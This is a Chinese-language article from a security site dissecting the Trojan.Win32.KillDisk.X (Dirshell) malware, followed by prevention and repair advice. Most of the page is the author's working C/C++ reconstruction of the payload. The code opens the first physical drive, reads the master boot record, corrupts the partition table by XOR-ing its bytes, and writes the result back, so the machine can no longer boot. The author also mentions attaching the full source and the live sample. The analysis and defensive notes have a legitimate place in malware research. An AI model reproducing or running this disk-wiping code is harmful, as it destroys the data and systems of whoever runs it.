Trojan.Win32.KillDisk.X(Dirshell)拆解-网络安全专区

Trojan.Win32.KillDisk.X(Dirshell)拆解

作者：IT168 编辑：李莲 2007-06-21 18:06

[Copy to clipboard]

调了几个基本的API,用VC还原以上内容如下:

CODE:

HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
char *drive = "0";
BYTE pMBR[512]={0};
bytes = 512;

wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);
hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox("Open Device Error!");
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,
&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);
szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);
if ( szBuff == NULL)
{
MessageBox("Memery Allocation Error!");
}

bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);
if (bRet==FALSE || bread<512)
{
MessageBox("Read Device Error!");
}
for(int n=0;n<512;n++)
{
pMBR[n] = szBuff[n];
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
CloseHandle(hDevice);

pMBR[0x1BE]=80;
pMBR[0x1BF]=0;
pMBR[0x1C2]=5;
for (n=0x1C3;n<=0x1FE;n++)
{
pMBR[n]=pMBR[n] ^ 26;
}

hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox("Open Device Error!");
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

bRet=WriteFile(hDevice,pMBR,bytes,&bread,NULL);
if (bRet == FALSE || bread<512)
{
MessageBox("Write File Error!");
}

DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
CloseHandle(hDevice);

[Copy to clipboard]

附完整源码.和我下载的病毒程序.(请不要在实机测试,后果自负.)

后记:目前防止该病毒只有2种方法
1.不要使用管理员帐号.MSDN里面这样说的:

QUOTE:

Physical Disks and Volumes

You can use the CreateFile function to open a physical disk drive or a volume. The function returns a handle that can be used with the DeviceIoControl function. This enables you to access the disk partition table. However, it is potentially dangerous to do so, because an incorrect write to a disk could make its contents inaccessible. The following requirements must be met for such a call to succeed:

The caller must have administrative privileges. For more information, see Running with Special Privileges.
The dwCreationDisposition parameter must have the OPEN_EXISTING flag.
When opening a volume or floppy disk, the dwShareMode parameter must have the FILE_SHARE_WRITE flag.

2.目前唯一能防止改病毒的HIPS(Hosted-Based Intrusion Prevention System )-System Safety Monitor(SSM),SSM可以检测到各类程序对硬盘底层的访问.从而阻止该动作

至于中了这个之后的修复问题,只能用改过IO.SYS的DOS引导盘启动电脑,然后用diskgen修复.因为死循环找成引导系统无法找到硬盘分区,就无法启动了.
或者直接用深山红叶的WIN PE工具盘来修复,非常方便.
http://www.hack58.net/Article/60/64/2006/11308.htm

第1页：Trojan.Win32.KillDisk.X(Dirshell)拆解第2页：Trojan.Win32.KillDisk.X(Dirshell)拆解

关注我们